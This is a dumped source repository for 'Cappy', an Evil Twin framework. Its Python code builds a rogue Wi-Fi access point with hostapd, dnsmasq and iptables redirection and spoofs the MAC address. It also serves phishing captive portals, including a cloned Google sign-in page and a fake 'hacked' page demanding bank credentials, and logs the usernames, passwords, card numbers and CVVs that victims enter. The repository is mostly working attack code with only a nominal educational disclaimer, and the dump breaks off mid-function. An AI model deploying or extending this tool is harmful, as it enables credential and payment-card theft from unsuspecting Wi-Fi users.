├── __init__.py ├── templates ├── google │ ├── action.html │ └── index.html ├── mrhacker │ ├── static │ │ └── mrhacker.png │ ├── action.html │ └── index.html ├── mcd │ ├── action.html │ └── index.html └── Valentines │ ├── action.html │ └── index.html ├── cappycore ├── __init__.py ├── colors.py └── captive.py ├── Cappy ├── setup.py └── README.md /__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /templates/google/action.html: -------------------------------------------------------------------------------- 1 |

Login successful

-------------------------------------------------------------------------------- /templates/mrhacker/static/mrhacker.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FLOCK4H/Cappy/HEAD/templates/mrhacker/static/mrhacker.png -------------------------------------------------------------------------------- /templates/mcd/action.html: -------------------------------------------------------------------------------- 1 |

2 | 5 | Hello! 6 |

-------------------------------------------------------------------------------- /templates/Valentines/action.html: -------------------------------------------------------------------------------- 1 |

2 | 5 | Hello! 6 |

-------------------------------------------------------------------------------- /templates/mrhacker/action.html: -------------------------------------------------------------------------------- 1 |

2 | 5 | Hello! 6 |

-------------------------------------------------------------------------------- /cappycore/__init__.py: -------------------------------------------------------------------------------- 1 | # __init__.py 2 | from .captive import Cappy, Config, ip_config, handle_services, handle_networking, shutdown_network, safecall, WebServer 3 | from .colors import wprint, iprint 4 | 5 | __all__=[ 6 | "Cappy", "Config", "ip_config", "handle_services", "handle_networking", "shutdown_network", "safecall", "WebServer", 7 | "wprint", "iprint" 8 | ] -------------------------------------------------------------------------------- /Cappy: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from cappycore.captive import Cappy, Config, ip_config, handle_services, handle_networking, shutdown_network, safecall, WebServer 3 | from cappycore.colors import wprint, iprint 4 | import sys, time 5 | 6 | if __name__ == "__main__": 7 | cappy = Cappy() 8 | interface = cappy.interface 9 | conf = Config(inf=interface) 10 | 11 | try: 12 | ip_config(interface) 13 | handle_services() 14 | handle_networking(interface) 15 | 16 | iprint("Starting hostapd...") 17 | safecall(f"sudo systemctl start hostapd") 18 | WebServer() 19 | except KeyboardInterrupt: 20 | wprint("\nExiting..\n") 21 | shutdown_network(conf) 22 | sys.exit(0) 23 | 24 | while True: 25 | try: 26 | time.sleep(1) 27 | except KeyboardInterrupt: 28 | shutdown_network(conf) 29 | sys.exit(1) -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | """ 2 | This file installs Cappy - making it available directly from the command line: 3 | 'sudo Cappy' 4 | 5 | To uninstall Cappy run: 6 | 'sudo pip3 uninstall Cappy' 7 | """ 8 | 9 | from setuptools import setup, find_packages 10 | from setuptools.command.install import install 11 | import os 12 | import shutil 13 | 14 | class PostInstallCommand(install): 15 | """Post-installation for installation.""" 16 | def run(self): 17 | install.run(self) 18 | main_dir = '/usr/local/share/Cappy' 19 | if not os.path.exists(main_dir): 20 | os.makedirs(main_dir) 21 | source = 'templates' 22 | destination = os.path.join(main_dir, source) 23 | if not os.path.exists(destination): 24 | os.makedirs(destination) 25 | for template in ["google", "Valentines", "mrhacker", "mcd"]: 26 | if not os.path.exists(os.path.join(destination, template)): 27 | shutil.copytree(f"{source}/{template}", f"{destination}/{template}") 28 | 29 | setup( 30 | name='Cappy', 31 | version='1.0.0', 32 | author='FLOCK4H', 33 | url='github.com/FLOCK4H/Cappy', 34 | description='Cappy, the Evil Twin framework', 35 | license="MIT", 36 | packages=find_packages(), 37 | scripts=['Cappy'], 38 | cmdclass={ 39 | 'install': PostInstallCommand, 40 | } 41 | ) 42 | -------------------------------------------------------------------------------- /cappycore/colors.py: -------------------------------------------------------------------------------- 1 | class ColorCodes: 2 | RED = "\033[31m" 3 | GREEN = "\033[32m" 4 | BLUE = "\033[34m" 5 | CYAN = "\033[36m" 6 | WHITE = "\033[37m" 7 | RESET = "\033[0m" 8 | BRIGHT = "\033[1m" 9 | YELLOW = "\033[33m" 10 | MAGENTA = "\033[35m" 11 | LIGHT_GREEN = "\033[92m" 12 | LIGHT_BLUE = "\033[94m" 13 | LIGHT_CYAN = "\033[96m" 14 | LIGHT_RED = "\033[91m" 15 | LIGHT_MAGENTA = "\033[95m" 16 | LIGHT_YELLOW = "\033[93m" 17 | LIGHT_WHITE = "\033[97m" 18 | BLACK = "\033[30m" 19 | ORANGE = "\033[38;5;208m" 20 | PURPLE = "\033[38;5;93m" 21 | DARK_GRAY = "\033[38;5;238m" 22 | LIGHT_GRAY = "\033[38;5;245m" 23 | PINK = "\033[38;5;213m" 24 | BROWN = "\033[38;5;130m" 25 | BLINK = "\033[5m" 26 | 27 | def cprint(string, color=ColorCodes.BLUE): 28 | print(f'{ColorCodes.RESET}{ColorCodes.CYAN}[+]{ColorCodes.RESET}' + ' ' + f'{ColorCodes.BRIGHT}{color}{string}{ColorCodes.RESET}') 29 | 30 | def wprint(string): 31 | print(f'{ColorCodes.WHITE}[+]{ColorCodes.RESET}' + ' ' + f'{ColorCodes.RED}{string}{ColorCodes.RESET}') 32 | 33 | def iprint(string): 34 | print(f'{ColorCodes.BRIGHT}{ColorCodes.GREEN}[{ColorCodes.ORANGE}CAPPY{ColorCodes.GREEN}]{ColorCodes.RESET}' + ' ' + f'{ColorCodes.WHITE}{ColorCodes.BRIGHT}{string}{ColorCodes.BRIGHT}{ColorCodes.RESET} ') 35 | 36 | def oneline(string, sys, color=ColorCodes.GREEN): 37 | sys.stdout.write(f'\r{ColorCodes.GREEN}[{ColorCodes.ORANGE}CAPPY{ColorCodes.GREEN}]{ColorCodes.RESET}' + ' ' + f"{color}{ColorCodes.BRIGHT}{string}{ColorCodes.RESET}") 38 | sys.stdout.flush() 39 | 40 | def cinput(string, color=ColorCodes.CYAN, b=False): 41 | r = input(f'{ColorCodes.GREEN}[>]{ColorCodes.RESET}' + ' ' + f'{color}{ColorCodes.BRIGHT if b else color}{string}:{ColorCodes.RESET} ') 42 | return r -------------------------------------------------------------------------------- /templates/Valentines/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 77 | 78 | 79 |
80 |
will u be my valentine?
81 |
82 | 83 | 84 |
85 |
86 | 115 | 116 | -------------------------------------------------------------------------------- /templates/mcd/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 128 | 129 | 130 |
131 |
132 |
133 | M 134 |
135 |
136 |
137 | Log in 138 |
139 |
140 | 141 | 142 | 143 |
144 | 148 |
149 | 150 | 151 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | ## Cappy 4 | 5 |
6 | 7 | > [!IMPORTANT] 8 | > **Evil Twin** method was added to [Freeway](https://github.com/FLOCK4H/Freeway), and a more recent version of this implementation will forever live there. Consider downloading Freeway. 9 | 10 |
11 | 12 | **Evil Twin** is a phishing technique categorized under network attacks, it involves the creation of a **rogue wireless access point (AP)** that masquerades as a legitimate network, such as a public Wi-Fi hotspot or a familiar network with a captive portal, to deceive users into connecting and unknowingly divulging their sensitive login credentials and other personal information transmitted over the compromised connection. 13 |
14 | 15 |
16 | 17 | > [!TIP] 18 | > Cappy, a framework that automates the attack, must be used only in clear, educational purposes.
Any action outside of that context is highly unrecommended, and may result in legal consequences
19 | 20 | # Introduction 21 | 22 | **Python** tool, that automates the process of setting up captive portal on Linux machines, with some tweaks. 23 | 24 | > [!NOTE] 25 | > This software was tested on: Kali Linux, KaliPi, ParrotOS
26 | > In case of any trouble, create an issue and describe the error 27 | 28 |
29 | 30 | **Cappy** operation scheme: 31 | 32 | ``` 33 | Check Dependencies ---> Choose network interface 34 | | ^ | 35 | | missing? | └ Change mac address Run captive portal <--- Select Template 36 | | | | | | 37 | Install Dependencies - | └ Menu Screen └ Capture credentials | 38 | |_ _| | start? | 39 | └ Prepare adapter ---> Configure IP Adresses ---> Restart services 40 | └ Write configs 41 | ``` 42 | 43 | # Setup 44 | 45 | **1-A.** Installing Cappy with pip 46 | 47 | **In most cases, Cappy can handle the setup by itself, so give it a try** 48 | 49 | This will make 'Cappy' available from any path in the terminal 50 | 51 | ``` 52 | $ git clone https://github.com/FLOCK4H/Cappy 53 | $ cd Cappy 54 | $ sudo pip install . 55 | ``` 56 | 57 | **1-B.** Running Cappy with Python 58 | 59 | We will need to install dependencies manually 60 | 61 | ``` 62 | $ sudo apt-get update 63 | $ sudo apt-get install lighttpd hostapd dnsmasq 64 | $ cd Cappy 65 | $ sudo python Cappy 66 | ``` 67 | 68 | # Usage 69 | 70 | ![image](https://github.com/FLOCK4H/Cappy/assets/161654571/ce6ee823-5408-4b14-8f3c-ce33bb53737b) 71 | 72 | ``` 73 | $ sudo Cappy 74 | ``` 75 | 76 | **Templates** are being saved to the **/usr/local/share/Cappy/templates** folder. 77 | 78 | Creating a new template will result in making new directory in that path with a name of the template. 79 | 80 | By default, there are 2 endpoints and 5 fields, that we can use in `index.html` of the template: 81 | - /action.html -> username, password, credit, expire, cvv 82 | - /data -> any 83 | 84 | Example: 85 | ``` 86 |
87 | 88 | 89 | 90 | 91 |
92 | ``` 93 | 94 | **Device wanting to join the network will be redirected to the `index.html` of the template, where after entering credentials and submitting, will be redirected to the `action.html`, that harvests those credentials and logs to the console.** 95 | 96 | **There are 4 default templates**: 97 | - `google` 98 | - `mrhacker` 99 | - `Valentines` 100 | - `mcd` 101 | 102 | Help make this number bigger, and message me with your template: 103 | 104 | `flock4h@gmail.com \ Topic: Cappy Templates [NEW_TEMPLATE_NAME]` 105 | 106 |
107 | Result 108 |
109 | 110 | ## Troubleshooting 111 | 112 | There are numerous reasons for why the Cappy may not work, as it all depends on the network adapter, operating system, and machine capabilities itself. 113 | Carefully read the console when launching the framework, the errors can provide more information on what's going on. 114 | 115 | Here are the general steps on how to debug your issue: 116 | 117 | 1. Ensure dependencies are installed manually 118 | 119 | ``` 120 | $ sudo apt-get install hostapd dnsmasq lighttpd 121 | ``` 122 | 123 | 2. Check paths for conflicts: 124 | 125 | ``` 126 | $ ls /etc/hostapd 127 | $ find /etc/dnsmasq.conf 128 | $ find /usr/local/share/Cappy 129 | ``` 130 | 131 | 3. Check logs of the services: 132 | 133 | ``` 134 | $ sudo systemctl status hostapd 135 | $ sudo systemctl status dnsmasq 136 | 137 | # If dnsmasq status replied with - 10.0.0.1-150 range is busy, you need to change all 10.0.0.15 and 10.0.0.20-150 entries in the code to other IP and range. 138 | ``` 139 | 140 | > [!TIP] 141 | > In case when troubleshooting steps did not work; please create an issue 142 | 143 | ## TODO 144 | 145 | - [ ] Add run arguments 146 | - [ ] Stable release 147 | - [ ] PyPi release 148 | 149 | ## LICENSE 150 | 151 | $${\color{orange}MIT}$$ 152 | THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 153 | -------------------------------------------------------------------------------- /templates/mrhacker/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 138 | 139 | 140 |
141 |
142 |
143 |
Congratulations!
144 |
You have been hacked
All your data was collected & encrypted
145 |
Mr Hacker
146 |
147 | 148 | 149 | 150 | 151 |
152 |
153 | Enter your bank credentials
154 | Otherwise, this device will be resetted to fabric settings in 3 minutes
155 | Good Luck! 156 |
157 |
158 |
159 | 160 |
161 | 162 | 163 |
164 |
165 | 195 | 196 | 197 | -------------------------------------------------------------------------------- /templates/google/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | Sign in ﹘ Google accounts 10 | 30 | 74 | 396 | 397 | 398 |
399 |
400 | 401 |

Sign in

402 |

Use your Google Account

403 |
404 |
405 | 406 | 409 |
410 |
411 |
412 | 413 | 416 |
417 |
418 | 419 |
420 |
421 |
422 | 423 |
424 | 425 |
426 |

427 | Not your computer? Use Guest mode to sign in privately. 428 | Learn more 429 |

430 |


431 | 443 |
444 |
445 | 446 | 447 | -------------------------------------------------------------------------------- /cappycore/captive.py: -------------------------------------------------------------------------------- 1 | # EvilTwin Cappy 2 | # by FLOCK4H 3 | # v1.0.0 4 | 5 | import os, shutil, time, sys, subprocess, json 6 | from .colors import wprint, ColorCodes, iprint, cprint, cinput 7 | from http.server import SimpleHTTPRequestHandler, HTTPServer 8 | import threading 9 | import random 10 | 11 | cc = ColorCodes() 12 | 13 | script_dir = "/usr/local/share/Cappy" 14 | 15 | def random_mac_address(): 16 | mac = [0x00, 0x16, 0x3e, 17 | random.randint(0x00, 0x7f), 18 | random.randint(0x00, 0xff), 19 | random.randint(0x00, 0xff)] 20 | return ':'.join(map(lambda x: f"{x:02x}", mac)) 21 | 22 | def change_mac_address(interface): 23 | new_mac = random_mac_address() 24 | try: 25 | subprocess.run(['sudo', 'ifconfig', interface, 'down'], check=True) 26 | subprocess.run(['sudo', 'ifconfig', interface, 'hw', 'ether', new_mac], check=True) 27 | subprocess.run(['sudo', 'ifconfig', interface, 'up'], check=True) 28 | cprint(f"MAC address for {interface} changed to {new_mac}") 29 | time.sleep(1.2) 30 | except subprocess.CalledProcessError as e: 31 | print(f"Failed to change MAC address: {e}") 32 | 33 | def check_dependencies(dependencies): 34 | for dep in dependencies: 35 | result = subprocess.run(["which", dep], capture_output=True, text=True) 36 | if result.returncode != 0: 37 | wprint(f"{dep} is not installed. Please install {dep} and try again.") 38 | install = cinput(f"Install {dep} now? (Y/n)") 39 | if install.lower() == "y": 40 | if dep == "lighttpd": 41 | os.system("sudo apt-get update") 42 | os.system(f"sudo apt-get install {dep}") 43 | cprint(f"{dep} successfully installed!") 44 | time.sleep(1.5) 45 | else: 46 | iprint(f"{dep} is installed.") 47 | time.sleep(0.2) 48 | 49 | def mod_path(path, mod="copy"): 50 | if mod == "ren" and os.path.exists(f"{path}.copy"): 51 | os.remove(path) 52 | shutil.move(f"{path}.copy", path) 53 | 54 | if os.path.exists(path): 55 | shutil.copy(path, f"{path}.copy") 56 | 57 | def safecall(cmd, post_scriptum=""): 58 | result = os.system(cmd) 59 | if result != 0: 60 | if post_scriptum == "dnsmasq_issue": 61 | print(f"{cc.BLUE}Running 'sudo apt-get install dnsmasq' to fix dnsmasq!") 62 | os.system(f"sudo apt-get install dnsmasq") 63 | print(f"{cc.YELLOW}Catched command failure, but {cc.GREEN}continuing{cc.YELLOW}: {cmd}{cc.RESET}") 64 | return result 65 | 66 | def delete_iptables_rule(table, rule): 67 | check_command = f"sudo iptables -t {table} -C {rule}" 68 | delete_command = f"sudo iptables -t {table} -D {rule}" 69 | if safecall(check_command) == 0: 70 | safecall(delete_command) 71 | 72 | def ip_config(wlans): 73 | for wlan in wlans: 74 | iprint("Configuring IP adresses...") 75 | safecall(f"sudo ifconfig {wlan} 10.0.0.15 netmask 255.255.255.0 up") 76 | safecall(f"sudo sh -c \"echo 1 > /proc/sys/net/ipv4/ip_forward\"") 77 | safecall(f"sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE") 78 | safecall(f"sudo iptables -t nat -A PREROUTING -i {wlan} -p tcp --dport 80 -j DNAT --to-destination 10.0.0.15") 79 | safecall(f"sudo iptables -A FORWARD -i {wlan} -p tcp --dport 80 -d 10.0.0.15 -j ACCEPT") 80 | 81 | def handle_services(): 82 | safecall("sudo systemctl unmask hostapd") 83 | cprint("Hostapd was unmasked...") 84 | 85 | safecall(f"sudo systemctl stop dnsmasq", "dnsmasq_issue") 86 | cprint("Stopped dnsmasq") 87 | 88 | safecall(f"sudo systemctl stop hostapd") 89 | cprint("Stopped hostapd") 90 | 91 | safecall(f"sudo systemctl daemon-reload") 92 | iprint("Starting dnsmasq...") 93 | safecall(f"sudo systemctl start dnsmasq", "dnsmasq_issue") 94 | time.sleep(2) 95 | 96 | def handle_networking(wlans): 97 | for wlan in wlans: 98 | safecall(f"sudo ifconfig {wlan} up") 99 | iprint("Restarting networking service...") 100 | safecall(f"sudo systemctl restart networking") 101 | 102 | class Adapter: 103 | def __init__(self, inf=["wlan0"]): 104 | self.interfaces = inf 105 | self.interface = inf[0] 106 | self.init_adapter() 107 | 108 | def init_adapter(self, mode="managed"): 109 | try: 110 | for interface in self.interfaces: 111 | os.system(f'sudo iwconfig {interface} mode {mode}') 112 | except Exception as e: 113 | wprint(f"Error while putting interface in monitor mode: {e}") 114 | 115 | class Config: 116 | def __init__(self, inf=None): 117 | self.run_config(inf=inf) 118 | 119 | def run_config(self, inf=None): 120 | cprint("Disconnecting from current network...") 121 | safecall(f"sudo nmcli device disconnect {inf[0] if inf else 'wlan0'}") 122 | 123 | if inf is None: 124 | inf = ["wlan0"] 125 | 126 | self.adapter = Adapter(inf=inf) 127 | self.wlan = self.adapter.interface 128 | 129 | mod_path(path="/etc/hostapd/hostapd.conf") 130 | mod_path(path="/etc/default/hostapd") 131 | mod_path(path="/etc/dnsmasq.conf") 132 | mod_path(path="/etc/network/interfaces") 133 | self.write_config(interface=self.wlan, ssid="Cappy!", channel=10) 134 | 135 | self.write_to_config("/etc/default/hostapd", f"DAEMON_CONF=/etc/hostapd/hostapd.conf") 136 | self.write_to_config("/etc/dnsmasq.conf", f"""interface={self.wlan}\ndhcp-range=10.0.0.20,10.0.0.150,12h""") 137 | self.write_to_config("/etc/network/interfaces", f"#") 138 | 139 | def write_config(self, **kwargs): 140 | interface = kwargs.pop("interface", "wlan0") 141 | driver = kwargs.pop("driver", "nl80211") 142 | ssid = kwargs.pop("ssid", "EvilTwin") 143 | hw_mode = kwargs.pop("hw_mode", "g") 144 | channel = str(kwargs.pop("channel", 10)) 145 | macaddr_acl= kwargs.pop("macaddr_acl", "0") 146 | auth_algs = kwargs.pop("auth_algs", "1") 147 | ignore_broadcast_ssid = kwargs.pop("ignore_broadcast", "0") 148 | 149 | try: 150 | with open("/etc/hostapd/hostapd.conf", "w") as f: 151 | f.write( 152 | f"""interface={interface} 153 | driver={driver} 154 | ssid={ssid} 155 | hw_mode={hw_mode} 156 | channel={channel} 157 | macaddr_acl={macaddr_acl} 158 | auth_algs={auth_algs} 159 | ignore_broadcast_ssid={ignore_broadcast_ssid} 160 | logger_syslog=-1 161 | logger_syslog_level=0 162 | logger_stdout=-1 163 | logger_stdout_level=0 164 | """.lstrip() 165 | ) 166 | except Exception as e: 167 | wprint(f'Error, couldn\'t save to the /etc/hostapd/hostapd.conf, {e}') 168 | 169 | def write_to_config(self, path, text): 170 | try: 171 | with open(path, "w") as f: 172 | f.write(text) 173 | except Exception as e: 174 | wprint(f'Error, couldn\'t save to the {path})') 175 | 176 | def shutdown_network(conf=None): 177 | print("") 178 | iprint("Stopping dnsmasq...") 179 | safecall(f"sudo systemctl stop dnsmasq") 180 | iprint("Stopping hostapd...") 181 | safecall(f"sudo systemctl stop hostapd") 182 | 183 | safecall(f"sudo systemctl daemon-reload") 184 | iprint("Changing back the IP settings...") 185 | safecall(f"sudo sh -c \"echo 0 > /proc/sys/net/ipv4/ip_forward\"") 186 | delete_iptables_rule(f"nat", f"POSTROUTING -o eth0 -j MASQUERADE") 187 | delete_iptables_rule(f"nat", f"PREROUTING -i {conf.wlan} -p tcp --dport 80 -j DNAT --to-destination 10.0.0.15") 188 | delete_iptables_rule(f"filter", f"FORWARD -i {conf.wlan} -p tcp --dport 80 -d 10.0.0.15 -j ACCEPT") 189 | 190 | mod_path(path="/etc/hostapd/hostapd.conf", mod="ren") 191 | mod_path(path="/etc/default/hostapd", mod="ren") 192 | mod_path(path="/etc/dnsmasq.conf", mod="ren") 193 | mod_path(path="/etc/network/interfaces", mod="ren") 194 | iprint("Original configs restored, restarting Network Manager..") 195 | safecall(f"sudo systemctl restart NetworkManager") 196 | 197 | class CaptivePortalHandler(SimpleHTTPRequestHandler): 198 | def do_GET(self): 199 | try: 200 | if self.path == '/hotspot-detect.html': 201 | self.path = '/index.html' 202 | elif self.path == '/action.html': 203 | self.path = '/action.html' 204 | elif not os.path.exists(self.path[1:]): 205 | self.path = '/index.html' 206 | return SimpleHTTPRequestHandler.do_GET(self) 207 | except Exception as e: 208 | self.send_error(500, f"Internal server error: {str(e)}") 209 | 210 | def do_POST(self): 211 | try: 212 | if self.path == '/action.html': 213 | content_length = int(self.headers['Content-Length']) 214 | post_data = self.rfile.read(content_length) 215 | fields = dict(x.split('=') for x in post_data.decode().split('&')) 216 | username = fields.get('username', '') 217 | password = fields.get('password', '') 218 | credit_card = fields.get('credit', '') 219 | expiry_date = fields.get('expire', '') 220 | cvv = fields.get('cvv', '') 221 | if credit_card == '': 222 | print(f"{cc.BRIGHT}{cc.GREEN}Captured credentials - {cc.BLUE}Username: {cc.WHITE}{username}, {cc.RED}Password: {cc.WHITE}{password}{cc.RESET}") 223 | else: 224 | print(f"{cc.BRIGHT}{cc.GREEN}Captured credentials - {cc.CYAN}Card number: {credit_card}, Expire date: {expiry_date}, CVV: {cvv}") 225 | self.send_response(200) 226 | self.send_header('Content-type', 'text/html') 227 | self.end_headers() 228 | with open('action.html', 'rb') as file: 229 | self.wfile.write(file.read()) 230 | elif self.path == '/data': 231 | content_length = int(self.headers['Content-Length']) 232 | post_data = self.rfile.read(content_length) 233 | data = json.loads(post_data.decode()) 234 | print(f"{cc.BRIGHT}{cc.GREEN}Collected Data: {cc.WHITE}{data}{cc.RESET}") 235 | self.send_response(200) 236 | self.send_header('Content-type', 'application/json') 237 | self.end_headers() 238 | self.wfile.write(json.dumps({'status': 'success'}).encode()) 239 | else: 240 | self.send_response(404) 241 | self.end_headers() 242 | except Exception as e: 243 | self.send_error(500, f"Internal server error: {str(e)}") 244 | 245 | def handle_one_request(self): 246 | try: 247 | super().handle_one_request() 248 | except Exception as e: 249 | self.send_error(400, f"Bad request: {str(e)}") 250 | 251 | 252 | class WebServer: 253 | def __init__(self): 254 | server_thread = threading.Thread(target=self.start_captive_portal) 255 | server_thread.daemon = True 256 | server_thread.start() 257 | 258 | def get_template_name(self, template_dir): 259 | if os.path.exists(template_dir): 260 | templates = os.listdir(template_dir) 261 | cprint("Listing templates...") 262 | for i, item in enumerate(templates): 263 | cprint(f"{i}) {item}") 264 | temp_num = int(cinput("Enter template number")) 265 | if 0 <= temp_num < len(templates): 266 | return templates[temp_num] 267 | return None 268 | 269 | def start_captive_portal(self): 270 | templates_dir = f"{script_dir}/templates" 271 | if not os.path.exists(templates_dir): 272 | os.makedirs(templates_dir, exist_ok=True) 273 | choice_template = self.get_template_name(templates_dir) 274 | if choice_template: 275 | os.chdir(os.path.join(templates_dir, choice_template)) 276 | handler = CaptivePortalHandler 277 | httpd = HTTPServer(("10.0.0.15", 80), handler) 278 | iprint("Serving captive portal on {}http://10.0.0.15:80 {}".format(cc.GREEN, cc.RESET)) 279 | print(cc.LIGHT_BLUE, cc.BRIGHT, "Evil Twin has started!", cc.BLUE) 280 | httpd.serve_forever() 281 | else: 282 | print("No valid template selected. Exiting.") 283 | 284 | class Cappy: 285 | def __init__(self): 286 | cprint("Checking dependencies..") 287 | check_dependencies(["dnsmasq", "lighttpd", "hostapd"]) 288 | self.check_dirs() 289 | self.run_cappy() 290 | 291 | def check_dirs(self): 292 | if not os.path.exists("/usr/local/share/Cappy/templates"): 293 | cprint("Creating templates dir...") 294 | os.makedirs("/usr/local/share/Cappy/templates") 295 | templates = ["Valentines", "mrhacker", "google", "mcd"] 296 | for template in templates: 297 | shutil.copytree(f"templates/{template}", f"/usr/local/share/Cappy/templates/{template}") 298 | 299 | def run_cappy(self): 300 | try: 301 | interfaces = get_interface() 302 | show_interfaces(interfaces) 303 | self.interface = self.set_wlan_interface(interfaces) 304 | for interface in self.interface: 305 | change_mac_address(interface) 306 | self.buy_orange_cappy() 307 | action = self.read_cappy_composition() 308 | self.template_path = "/usr/local/share/Cappy/templates" 309 | self.drink_healthy_juice(action) 310 | except KeyboardInterrupt: 311 | wprint("\nExiting..\n") 312 | sys.exit(0) 313 | 314 | def take_off_the_plastic_cap(self): 315 | self.buy_orange_cappy() 316 | action = self.read_cappy_composition() 317 | self.drink_healthy_juice(action) 318 | 319 | def break_the_label(self, **kwargs): 320 | # Writing _config 321 | def_app = kwargs.pop('default_app', "mousepad") 322 | write = kwargs.pop('write', False) 323 | read = kwargs.pop('read', False) 324 | _config = f"{script_dir}/_config" 325 | 326 | if write: 327 | try: 328 | with open(_config, "w") as f: 329 | f.write(f"DEFAULT_APP={def_app}\n") 330 | cprint("_config created in {}".format(_config)) 331 | except Exception as e: 332 | wprint("Failed to break the label of the cappy juice! {}".format(e)) 333 | elif read: 334 | try: 335 | with open(_config, "r") as f: 336 | data = f.read() 337 | return str(data) 338 | except Exception as e: 339 | wprint("Failed to break the label of the cappy juice! {}".format(e)) 340 | 341 | def buy_orange_cappy(self): 342 | os.system('clear') 343 | print(f""" 344 | {cc.ORANGE} _ 345 | {cc.GREEN} |c| {cc.ORANGE}┏┓ 346 | {cc.ORANGE}.'a`. {cc.ORANGE}┃ ┏┓┏┓┏┓┓┏ 347 | {cc.GREEN}| p | {cc.ORANGE}┗┛┗┻┣┛┣┛┗┫ 348 | {cc.ORANGE}| p | {cc.ORANGE} ┛ ┛ ┛ 349 | {cc.ORANGE}|_y_| {cc.BRIGHT}{cc.GREEN}healthy diet, {cc.RED}happy{cc.GREEN} stomach.{cc.RESET} 350 | {cc.BRIGHT}{cc.MAGENTA}by FLOCK4H{cc.RESET} 351 | """) 352 | time.sleep(1) 353 | 354 | def read_cappy_composition(self): 355 | actions = {1: "Start", 2: "Create Template", 3: "Edit Template", 4: "Remove Template", 5: "List Templates"} 356 | for index, action in actions.items(): 357 | cprint(f"{index}) {action}") 358 | decision = cinput(f"{cc.BRIGHT}[CAPPY]", color=cc.CYAN) 359 | return decision 360 | 361 | def throw_away_plastic_bottle(self): 362 | pass 363 | 364 | def drink_healthy_juice(self, action): 365 | if action == "1": 366 | return 367 | elif action == "2": 368 | name = cinput("Name the template") 369 | self.create_new_template(name) 370 | iprint("Template created! Path: /usr/local/share/3way/templates/{} \ Name: {}".format(name, name)) 371 | time.sleep(2) 372 | elif action == "3": 373 | self.mod_template("edit") 374 | elif action == "4": 375 | self.mod_template("remove") 376 | elif action == "5": 377 | self.mod_template("list") 378 | 379 | self.take_off_the_plastic_cap() 380 | 381 | def mod_template(self, mod): 382 | if mod == "edit": 383 | if not os.path.exists(f"{script_dir}/_config"): 384 | self.break_the_label(write=True) 385 | self.default_app = self.break_the_label(read=True).replace("DEFAULT_APP=", "") 386 | name = cinput("Enter name of the template to edit") 387 | template_path = f"{self.template_path}/{name}" 388 | try: 389 | if os.path.exists(template_path): 390 | cprint(f"Found the template! Using {self.default_app} to edit, press Ctrl+C to change the default program.") 391 | time.sleep(2) 392 | cmd = f"{self.default_app} {template_path}/index.html".replace("\n", "").strip(" ") 393 | cprint(cmd) 394 | time.sleep(2) 395 | os.system(cmd) 396 | else: 397 | wprint("Couldn't find the template of name {}".format(name)) 398 | except KeyboardInterrupt: 399 | name = cinput("Enter name of a program to set as default (e.g., nano, code, geany, thonny)") 400 | self.break_the_label(write=True, def_app=name) 401 | iprint("Changes applied, restart the app.") 402 | sys.exit(0) 403 | elif mod == "list": 404 | for item in os.listdir(self.template_path): 405 | cprint(item) 406 | time.sleep(3) 407 | elif mod == "remove": 408 | name = cinput("Name of the template to remove") 409 | for item in os.listdir(self.template_path): 410 | if item == name.strip(): 411 | shutil.rmtree(os.path.join(self.template_path, item)) 412 | iprint("Successfully removed {} template.".format(name)) 413 | time.sleep(2) 414 | return 415 | wprint("Coulnd't find a template with this name") 416 | time.sleep(1.5) 417 | 418 | def create_new_template(self, name): 419 | try: 420 | if not os.path.exists(f"{self.template_path}/{name}"): 421 | os.makedirs(f"{self.template_path}/{name}") 422 | with open(f"{self.template_path}/{name}/index.html", "w") as f: 423 | f.write("

Here put the HTML content of the site, this file is the first site that user will see after associating.

") 424 | with open(f"{self.template_path}/{name}/action.html", "w") as f: 425 | f.write("""

426 | 429 | Hello! 430 |

""") 431 | 432 | except Exception as e: 433 | wprint("Exception in 'create_new_template'", e) 434 | 435 | def set_wlan_interface(self, infs): 436 | try: 437 | choice = cinput('Choose interface/s') 438 | selected_indexes = [int(index.strip()) - 1 for index in choice.split(",")] 439 | wlan = [infs[index][0] for index in selected_indexes if index < len(infs)] 440 | wlan = wlan if wlan else ["Invalid choice"] 441 | cprint(f'Chosen interface(s): {", ".join(wlan)}, flying away..') 442 | time.sleep(1) 443 | return wlan 444 | except Exception as e: 445 | cprint(f'Something went wrong! Please try again: {e}', cc.ORANGE) 446 | time.sleep(2) 447 | self.set_wlan_interface() 448 | 449 | def get_driver_name(iface): 450 | try: 451 | driver_info = subprocess.check_output(f'ethtool -i {iface} 2>/dev/null', shell=True, encoding='utf-8').strip() 452 | for line in driver_info.split('\n'): 453 | if line.startswith('driver:'): 454 | return line.split(':')[1].strip() 455 | except subprocess.CalledProcessError: 456 | return "Unknown" 457 | 458 | def get_interface(): 459 | os.system("clear") 460 | print(f"""{cc.BRIGHT} 461 | \t\t\t┏┓ 462 | \t\t\t┃ ┏┓┏┓┏┓┓┏ 463 | \t\t\t┗┛┗┻┣┛┣┛┗┫ 464 | \t\t\t ┛ ┛ ┛ 465 | \t\t{cc.BLUE}{cc.BLINK} SETUP YOUR WLAN CARD{cc.RESET} 466 | 467 | """) 468 | iprint("Listing network interfaces...\n") 469 | try: 470 | output = subprocess.check_output('iwconfig', stderr=subprocess.STDOUT, shell=True, encoding='utf-8').strip() 471 | except subprocess.CalledProcessError as e: 472 | print("Error executing iwconfig:", 